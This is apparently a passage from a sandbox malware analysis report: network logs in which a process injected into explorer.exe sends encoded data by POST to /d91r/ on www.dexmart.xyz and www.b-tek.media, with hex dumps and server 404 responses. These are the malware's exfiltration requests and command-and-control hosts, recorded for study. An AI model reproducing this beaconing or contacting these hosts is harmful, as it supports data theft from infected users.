KF5SOjeqT3J46OMTWXwG99gWqBNePsFRcieMcw22ytaemzfBUVARLO3SnwqJMaRbJEQMJ3cAwQhPmlat39PlIsQdNY6ybrXHdg188MX-oiQFnjLo~i96amfZIyn3B76NIGtcxIDw(mVd9iJTHPWQ2pVDFsvhajS0qCIyu851WTeBvcHrY_DwDBZC(hK3~DbwQa43TMxkxTWndVegr-J5Ps4yyxrdEpkN1Nh6Tes1kYs-XcTXg4CC4rZ028UoFWEywT8jvveiTt2SxBSDtD5hGChtCdNqFoEOkkt5myqQRKFyYdjUxPzawJ83E1rygAwItipOIQkoPkcQS3s3Qujp1GHSI7x3YYWGwbc28Y5sstwLmF9UgAoz690ODGB_CCWw6_gXP0rlx6QUzysw2R9L8duviIDLzj4NUUEFEVB9vIioGKsD3ADM~VywTQzhxB~4QS5zszgQPuH2m-uI8R7jcPGfGI9l0P2Aid3fe2TZDa~wfrdXaG(y2aKPiayCutzp9bZ1Wq8xKp4EPrkaz0GjPrYFnG8HFYOsG4YNGDCImSY_npnhB-91N5uw0a(dzqunWBJOAWRESj1N4u9DS8d1e3aseYsTHOyPDT6j(nZoH8DTZE58usXb9NMBXrDihepVnMckGeTvJmdjapRWxe44YCXoX97kjkmM59gPOMBVT4ltek2r1gwT65EyWXJgNBLyAOo6qa9fYSIhs6Z8xcMUmCbRPNVJnCxMXjNZK0OWn9~yNngeVgbCeQxUKGTHkvTlqCPdYXMvfV~HlVWsLQLt62iY8XiqUl6auTQgxx2NITjSlt7x2atuIVFRZShkzEBOnN(aU7zMj2AakVNjBtlqfJcyFBbzgclVhll-nBhRkTuUQreWIuqMK8uHzSxtUrqn8dJUFCTPtfm6lvXOI_bOuk4nRcF08RDSp8z-gpIJlo8MGVS13yga6nQen3dTLolbrT~EXwQUWB933RY3sH02XPdCh_90ooLydwpSNsq3MP6pd5U7L-sL8jKA(Ib9HOUOxw1hoflykLn5G2CZ99QJ7J5VvvrNvjIVLsX1ulS6duGkAiMsPvYRzRLFKAfHSF90oBJAzwwTpauEqyRJ~M4PvC20COKBnYI8u0t7O9tCjoZ3I_vHGict7I~-N4pfqrd_2ai-ClVRMJpqC3eBkdkmYwr3HGRY(aYb14Z8K-r80oEf7fcpeKsQs7By1sQYMjTlbcbyPPLvx112PBs3Rxg26OjNWPz12cANNA6GIA3lNQQj1mCgvS~Q7wGOkIXrxNr_2CdJRrfeUcQm1qGEpf5LHCTBZY9TyTC8PQ1zw9zUyacAYSv2SI5bTaC-g6Tl3yVoepxUb3HAiGBnB4SfpqGH~PCvu5TOvtHagqCcfE4qqTuenJweuvOk~_nnA1x0hfwQMiJBygftgn4zL71XkflTTcq9jECjrpz2vzjXmXN-EWwPjJmupp3I8lcOT5raorI30idVPfGxx8gpF358YTP_Fw1XDECVaLf0qBqwjllKqcB5tOV5y-BaMnPc256sxcCyqtjSA2l2fu2GCT(9~t5joEU8imoDVZa4Ci6DAV71pND35lP_FTyr7ePhCLc7rPL9k8HlD4(qM9nBWOBssvMNtPI_UJtbyS3vTkA-8w9U9GTbvfHNZAQIAyrxIFs05P1gUjUF8QoP1QHp(fUzGVI4EdCYJmhn23WuYGog2LBC(LwZITwarx3q1yMerspbiZVw~Kk3sotELGFYtVHnFI~KKCdsRUizVM8HulJYHXoRiaijmHpU0QoJ2ypFqj(eIulTMPG97SemxEXrXyDi4xhz4UlB2E2GrsTTPYMEkdLXNga_iMMhvcwjl8zzFT5FXCqkY1l58HQJJ814qH7aVgP60hPA1Z6KEbj2JXcGwjgTkJazxn2YD9duVhxHfEPECcGdGcA5MpqEMWMxSNbV821554SAv8tIZ3~t5IP0mL82augdPtWz9Zatr6LUO8RLBcqxdwZPp_6isbIWiDrFDI08XKHg(-UuibijtLUNLCi8pYGDdRPmqKLO8XdrU_gVAtbmOS7ZAiO
Mar 20, 2023 15:20:48.674328089 CET	846	OUT	Data Raw: 78 65 4e 76 6d 2d 72 75 54 61 7a 4a 66 56 5a 4d 64 78 30 64 5a 78 6c 7a 73 57 30 6f 49 4f 64 52 61 68 49 38 38 39 6e 71 52 5a 72 4e 64 53 33 37 77 2d 35 6a 67 53 4d 2d 28 4b 77 2d 48 38 56 49 6a 6e 44 4f 58 79 64 4e 78 79 44 2d 4e 35 69 75 71 4d Data Ascii: xeNvm-ruTazJfVZMdx0dZxlzsW0oIOdRahI889nqRZrNdS37w-5jgSM-(Kw-H8VIjnDOXydNxyD-N5iuqMnzx2l_QX5_ZYuS3OqIJHWspiT6c-(YWK(n4fGorBGdxftQqR31WzzDcBNX3nFGnuwDW_pGT1nvoRAuj7bKrCtJAiZiAAVARvkKhVDrSbyhkb2Ikgc4hMcaKs36okg4QA8DN8tPQJ65kcTK80BkVD4zU1YZHKQV3JX
Mar 20, 2023 15:20:48.674487114 CET	852	OUT	Data Raw: 38 35 39 4e 28 45 34 59 6f 79 76 42 36 46 49 62 51 50 47 31 41 35 6e 71 7a 6f 4f 4e 31 67 54 54 55 31 6d 62 58 7a 4a 5f 44 6f 6e 6e 5a 50 75 7a 71 6c 48 58 58 7a 77 4e 74 49 74 5f 4e 31 43 38 48 57 6b 37 28 4a 71 67 46 6f 72 77 74 78 59 55 57 36 Data Ascii: 859N(E4YoyvB6FIbQPG1A5nqzoON1gTTU1mbXzJ_DonnZPuzqlHXXzwNtIt_N1C8HWk7(JqgForwtxYUW6TFZbmI2zekRy29Y2TnHogDTJLGQNTqRdGayk74v_ONLl2jUfzin4CzgYrRqNp1GkheMzAWqBjqlCf0mfQywaE0X7JUKUSRazTOK1ypq-2Jt2o96M3ZCs9-BpOBSBB6xu4dk7hRkqigu-4h1WX6MFjLc0DoTE07oB5
Mar 20, 2023 15:20:48.674701929 CET	856	OUT	Data Raw: 79 59 69 45 42 6a 76 6c 34 34 57 2d 36 65 6f 4a 48 65 43 32 58 64 6b 54 4d 41 4c 6f 39 58 63 56 67 55 4b 52 49 53 75 7a 61 62 6c 69 69 6b 69 6d 54 5a 76 4b 62 75 33 77 32 5a 74 62 4d 36 7e 73 45 4b 61 5f 48 79 43 5a 59 33 66 4c 78 50 30 6b 51 53 Data Ascii: yYiEBjvl44W-6eoJHeC2XdkTMALo9XcVgUKRISuzabliikimTZvKbu3w2ZtbM6~sEKa_HyCZY3fLxP0kQSzrTdciFikqAUC7oOFdZ1YvCpOilLYsPlAIDCv_N8IJDidqwxUaX9AjhOFx7wgVzsfb264BpFE93zWertih36cjNcKhVUPOGZMuvll9YMc7S_MvAjKqchxEw9RNpPRM38RaBT0SPo3m9Pny7KDg7mL3OfYg2kvikiz
Mar 20, 2023 15:20:48.674885035 CET	868	OUT	Data Raw: 57 53 6a 56 58 6c 6c 5a 52 41 4e 7a 37 38 51 70 4b 42 76 52 32 65 51 71 44 61 79 2d 75 63 67 79 64 43 46 45 39 6f 59 4b 55 36 31 63 4b 6f 45 55 28 56 39 74 6e 7a 74 54 65 68 35 67 76 76 32 53 77 35 6a 37 36 5a 6e 64 6f 6b 5a 7a 38 48 4c 50 36 70 Data Ascii: WSjVXllZRANz78QpKBvR2eQqDay-ucgydCFE9oYKU61cKoEU(V9tnztTeh5gvv2Sw5j76ZndokZz8HLP6pIVXE02VEEL8-QqYK1uDdd7rLQTgkT-xIro1biZp-1jzd79CcuyF5G0dDX5SELpv_VO7yhoPp1XJKfL69dP1BxiLNCwEDBQSt0ufzR7UfUWcGsavF6SYa0icN9Muwz2955waKYpPsrIELf2mWCGSmkK9705h74Luys
Mar 20, 2023 15:20:48.674981117 CET	869	OUT	Data Raw: 32 65 42 5f 47 54 76 70 73 6e 75 47 4a 61 31 59 79 75 35 57 31 64 4c 55 4d 41 4a 43 69 39 49 54 37 4d 45 56 57 34 4b 6f 34 54 57 5f 71 55 76 5f 73 53 67 4a 52 61 79 6d 59 49 4f 51 68 34 32 78 6e 4e 45 45 6a 71 62 4b 28 51 78 4c 7a 35 44 34 44 58 Data Ascii: 2eB_GTvpsnuGJa1Yyu5W1dLUMAJCi9IT7MEVW4Ko4TW_qUv_sSgJRaymYIOQh42xnNEEjqbK(QxLz5D4DXbPWu9sfiIg9lMZV5GPRf2xzZtPkBi-I2Ia0pb-yrKfud8iuhQeknvV1WnD6BKqzc8xvS7mXW9kvLTWPQfxPvFv31~AgRcLaaxWfT5Aj3mIsipa~Jt9ouZym7TD6cT-MD38qyMYHlo2~j1iDoo72r3xJafirCg8EdH
Mar 20, 2023 15:20:48.693691015 CET	872	OUT	Data Raw: 6f 46 50 32 46 57 5a 55 38 6c 45 6c 55 55 51 71 41 45 47 77 61 72 4d 2d 32 6d 72 59 69 72 7e 50 71 78 4d 34 57 6a 6c 5a 47 34 4a 5a 48 6c 52 7a 47 48 4b 66 69 74 76 4b 76 4f 34 58 53 45 44 49 4e 73 63 51 43 79 63 57 6b 4c 28 57 43 35 71 78 50 56 Data Ascii: oFP2FWZU8lElUUQqAEGwarM-2mrYir~PqxM4WjlZG4JZHlRzGHKfitvKvO4XSEDINscQCycWkL(WC5qxPVTF7cWuAYNJITocT8zHHQKRlT8AHNqlFItLgS~mzqlYLvGZoFul0REQiqCa8OMwGdIv6scqTzN2MXB2ZGqOVlhSmCff6ZM7zQOikOaJJHWkstcS1SCoHSWW0tQW1lhqNpRioR82tJ6LBKHCHS3Mfsa5juRaiZAanrG
Mar 20, 2023 15:20:48.693808079 CET	880	OUT	Data Raw: 62 46 52 71 65 69 74 6b 7a 69 59 72 59 30 61 63 55 32 61 4c 41 79 47 67 6d 49 35 55 58 33 61 30 69 41 46 4c 50 31 79 34 6d 4e 4c 75 73 64 6d 42 59 42 47 62 35 65 6c 30 68 5f 48 71 57 6a 33 4d 6f 42 7a 54 72 46 70 56 7e 63 32 68 70 5f 46 64 62 52 Data Ascii: bFRqeitkziYrY0acU2aLAyGgmI5UX3a0iAFLP1y4mNLusdmBYBGb5el0h_HqWj3MoBzTrFpV~c2hp_FdbRzNJ5Y4eJQCYZ(IgDadGl~MtjqHOitug9vLRFE3c_t0BuqNMNFSdduqyP1m7kuSSNgYPQumiTZ2404mYpS9QtQxnz9SjXI4ITUZeIicIv3Rv1MukONDh2edNYQBy40gUPT9fWCUKg2J24X-uE49WJAcdjg8awxTcQs
Mar 20, 2023 15:20:48.694024086 CET	882	OUT	Data Raw: 65 6c 4b 33 4c 5f 47 33 73 54 35 54 36 63 61 6a 68 32 49 78 4a 50 6a 67 4b 53 38 4a 72 34 32 6f 7e 31 75 74 67 56 76 39 4d 75 41 63 73 37 7e 74 6c 6c 28 71 74 58 46 38 4d 48 59 74 51 78 62 54 30 66 77 47 6c 52 4c 55 39 32 43 2d 58 6a 44 4c 57 70 Data Ascii: elK3L_G3sT5T6cajh2IxJPjgKS8Jr42o~1utgVv9MuAcs7~tll(qtXF8MHYtQxbT0fwGlRLU92C-XjDLWpmzECt-cvW_3WOM0V0UzYcMwwp6NmfL9atj4ZRNiibN82gGOBgvV4aq~afAMLgxff29gR1JP-eiUByAJh80GbW3i3snv9MQxVpU17xd0AnDgAb6(7pN8hgAqJvaRGfNZwE2wjHICbvBy83yXCxKR4APGwVPmGewKEN
Mar 20, 2023 15:20:48.694188118 CET	883	OUT	Data Raw: 6a 6a 45 43 54 49 68 65 47 56 53 61 6f 4f 64 47 75 72 54 79 74 34 70 70 62 46 33 6e 6f 49 4c 67 4c 47 58 78 54 36 55 58 6e 30 67 5f 55 56 39 7a 72 79 4e 70 6d 46 44 74 4f 79 70 6e 77 6b 51 41 4b 63 70 6c 7e 41 43 31 49 73 79 6e 41 68 78 68 6a 33 Data Ascii: jjECTIheGVSaoOdGurTyt4ppbF3noILgLGXxT6UXn0g_UV9zryNpmFDtOypnwkQAKcpl~AC1IsynAhxhj3yPg7OK(yn4F9rPnCrp6ll1C4rqbf20mKLUCCfLLKOCFrQk6LjXMUhkWIQmLhhJvLpQl4kCi5TjTPYwAmmDBY6nLzYakp6KQsxi3A5RlvHj(tmFyo39uCjE23~mnUWuobLQ5F7Q~dGEe909LSaobk2sXx62ZdGabWB
Mar 20, 2023 15:20:48.726005077 CET	884	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Mon, 20 Mar 2023 14:20:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Mon, 06 Feb 2023 15:44:30 GMT ETag: W/"6f-5f409e82bbe87" Content-Encoding: gzip Data Raw: 36 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 f1 08 f1 f5 b1 b3 f1 70 75 74 b1 b3 09 f1 0c f1 71 b5 33 31 30 d1 cd cb 2f 51 48 cb 2f cd 4b b1 d1 87 08 da e8 43 94 38 f9 bb 44 02 95 1b da b9 16 15 e5 17 29 e4 27 27 97 16 15 a5 a6 58 29 00 75 29 e8 2a 20 e9 03 aa b1 f1 08 b2 b3 d1 87 68 d1 07 5b 04 00 16 77 99 ec 6f 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 68putq310/QH/KC8D)''X)u)* h[wo0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.11.20	49870	91.184.0.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:20:51.200299025 CET	885	OUT	GET /d91r/?pO=A3xSHk+fyI7su/grjjiR7vS7+2q1W7vJyDCiqNYDPcjU2Prp7aaot61k+Logkh61BwiUEQE66B2EoDKGsTYBbPn+5VOUdQAbGQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.b-tek.media Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:20:51.234343052 CET	885	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Mon, 20 Mar 2023 14:20:51 GMT Content-Type: text/html Content-Length: 111 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 06 Feb 2023 15:44:30 GMT ETag: "6f-5f409e82bbe87" Accept-Ranges: bytes Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 2d 6e 6f 74 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 48 31 3e 45 72 72 6f 72 20 6f 63 63 75 72 72 65 64 3a 20 34 30 34 20 2d 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 48 31 3e 3c 48 52 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>404-not found</TITLE></HEAD><BODY><H1>Error occurred: 404 - not found</H1><HR></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.11.20	49874	199.192.26.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:01.750983953 CET	905	OUT	POST /d91r/ HTTP/1.1 Host: www.dexmart.xyz Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.dexmart.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dexmart.xyz/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6c 61 61 57 74 44 67 6f 4e 66 41 4c 36 42 42 61 66 50 38 39 34 61 36 63 49 32 47 63 44 30 6f 36 52 62 65 47 6e 31 73 71 39 51 55 57 57 39 43 68 4e 68 59 71 75 30 44 47 74 71 30 47 38 5a 47 30 35 76 48 68 61 4a 6b 46 49 52 55 6d 53 41 30 47 4f 6e 6e 64 73 64 32 49 6d 73 76 6a 72 67 63 5a 48 48 5f 66 35 67 6c 38 50 6d 5f 42 45 76 4b 37 65 4f 35 34 58 63 6c 36 71 41 44 33 4f 43 31 78 70 53 6a 74 46 51 55 30 35 41 63 4b 31 70 46 4d 76 54 4d 7e 64 41 48 76 72 4c 61 50 33 58 38 5a 33 4b 6e 4c 38 48 58 44 73 34 61 38 4b 6b 41 4e 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=rlaaWtDgoNfAL6BBafP894a6cI2GcD0o6RbeGn1sq9QUWW9ChNhYqu0DGtq0G8ZG05vHhaJkFIRUmSA0GOnndsd2ImsvjrgcZHH_f5gl8Pm_BEvK7eO54Xcl6qAD3OC1xpSjtFQU05AcK1pFMvTM~dAHvrLaP3X8Z3KnL8HXDs4a8KkANw).
Mar 20, 2023 15:21:02.044004917 CET	906	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:01 GMT Server: Apache Content-Length: 690 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.11.20	49875	199.192.26.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:04.438855886 CET	908	OUT	POST /d91r/ HTTP/1.1 Host: www.dexmart.xyz Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.dexmart.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dexmart.xyz/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6c 61 61 57 74 44 67 6f 4e 66 41 4e 72 78 42 63 2d 50 38 34 59 61 35 66 49 32 47 56 6a 30 73 36 52 48 65 47 6b 34 30 71 50 30 55 56 30 6c 43 69 4d 68 59 36 2d 30 44 4f 4e 71 31 5a 4d 59 45 30 35 54 50 68 61 31 6b 46 49 31 55 6e 67 34 30 41 2d 6e 67 56 4d 64 31 50 6d 73 5f 77 37 67 73 5a 48 43 57 66 34 6b 6c 37 5f 4b 5f 54 57 48 4b 78 76 4f 36 39 33 63 72 75 61 41 4d 39 75 43 7a 78 6f 75 72 74 45 5a 68 30 4c 63 63 4b 52 64 46 50 76 54 50 30 74 41 45 74 72 4b 4c 4b 32 71 6d 52 6e 7e 61 66 4e 4f 79 43 73 56 57 34 71 35 37 59 30 58 47 38 46 68 34 63 4a 70 49 6c 6c 62 77 4f 44 78 72 7e 44 54 31 41 38 68 6f 6b 4a 45 4d 66 36 61 32 42 39 79 78 38 31 6a 54 74 4a 79 38 43 4b 59 30 48 72 65 6b 5a 4d 42 36 4d 79 7e 37 79 46 38 76 58 6d 79 69 35 66 48 53 70 45 7a 6c 45 54 65 41 46 44 63 74 65 78 38 33 77 72 70 62 54 59 45 56 72 56 68 47 74 73 53 69 47 48 69 56 34 34 69 44 50 38 41 5a 4f 65 43 55 36 75 56 4b 50 6a 47 4a 63 31 7e 5f 70 63 56 49 64 69 67 77 6e 63 55 73 5a 69 4f 77 6a 5a 31 47 55 77 56 36 46 74 49 47 73 58 34 72 50 48 4d 39 50 56 4e 33 37 66 72 53 7e 43 67 32 6f 4e 63 71 31 66 6f 30 70 6a 6e 75 4b 52 44 6a 7e 35 70 59 68 77 4e 31 4f 31 46 59 6c 5f 4a 56 7e 78 63 55 4f 48 78 62 4b 7a 39 79 50 48 79 78 28 4d 64 67 7a 79 31 64 28 68 54 6b 36 71 70 44 69 31 69 33 73 57 59 52 42 2d 4d 5a 48 59 72 4c 58 5a 34 55 4b 41 36 62 39 78 6a 53 73 66 59 54 62 65 51 4a 30 37 56 78 4f 68 38 52 38 4a 73 45 4a 47 76 75 49 73 59 56 49 67 32 31 61 68 49 64 68 38 30 67 63 69 61 66 30 79 49 55 4b 67 34 37 4f 5a 44 69 62 36 4f 58 50 7a 6b 61 4b 36 41 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=rlaaWtDgoNfANrxBc-P84Ya5fI2GVj0s6RHeGk40qP0UV0lCiMhY6-0DONq1ZMYE05TPha1kFI1Ung40A-ngVMd1Pms_w7gsZHCWf4kl7_K_TWHKxvO693cruaAM9uCzxourtEZh0LccKRdFPvTP0tAEtrKLK2qmRn~afNOyCsVW4q57Y0XG8Fh4cJpIllbwODxr~DT1A8hokJEMf6a2B9yx81jTtJy8CKY0HrekZMB6My~7yF8vXmyi5fHSpEzlETeAFDctex83wrpbTYEVrVhGtsSiGHiV44iDP8AZOeCU6uVKPjGJc1~_pcVIdigwncUsZiOwjZ1GUwV6FtIGsX4rPHM9PVN37frS~Cg2oNcq1fo0pjnuKRDj~5pYhwN1O1FYl_JV~xcUOHxbKz9yPHyx(Mdgzy1d(hTk6qpDi1i3sWYRB-MZHYrLXZ4UKA6b9xjSsfYTbeQJ07VxOh8R8JsEJGvuIsYVIg21ahIdh80gciaf0yIUKg47OZDib6OXPzkaK6A.
Mar 20, 2023 15:21:04.738012075 CET	908	IN	HTTP/1.1 404 Not Found Date: Mon, 20 Mar 2023 14:21:04 GMT Server: Apache Content-Length: 690 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c 22 3e 0a 20 20 3c 68 31 3e 45 72 72 6f 72 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 63 6f 64 65 22 3e 34 30 34 3c 2f 73 70 61 6e 3e 3c 2f 68 31 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 50 6c 65 61 73 65 20 74 72 79 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 23 31 22 3e 67 6f 20 62 61 63 6b 3c 2f 61 3e 20 6f 72 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 72 65 74 75 72 6e 20 74 6f 20 74 68 65 20 68 6f 6d 65 70 61 67 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 6f 75 74 70 75 74 22 3e 47 6f 6f 64 20 6c 75 63 6b 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.11.20	49876	199.192.26.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:07.126868010 CET	915	OUT	POST /d91r/ HTTP/1.1 Host: www.dexmart.xyz Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.dexmart.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.dexmart.xyz/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 72 6c 61 61 57 74 44 67 6f 4e 66 41 4e 72 78 42 63 2d 50 38 34 59 61 35 66 49 32 47 56 6a 30 73 36 52 48 65 47 6b 34 30 71 50 38 55 57 48 74 43 68 72 39 59 35 2d 30 44 50 4e 71 77 5a 4d 59 46 30 35 4c 31 68 61 35 53 46 4b 39 55 6e 7a 77 30 41 4d 28 67 41 38 64 77 41 47 73 75 6a 72 67 34 5a 48 48 42 66 34 67 31 38 50 75 5f 42 45 66 4b 37 38 57 35 31 48 63 6c 75 61 41 41 35 75 44 47 78 6f 72 32 74 45 6c 68 30 4a 34 63 4b 6a 6c 46 4e 65 54 50 39 64 41 4c 72 62 4c 46 66 47 71 6c 52 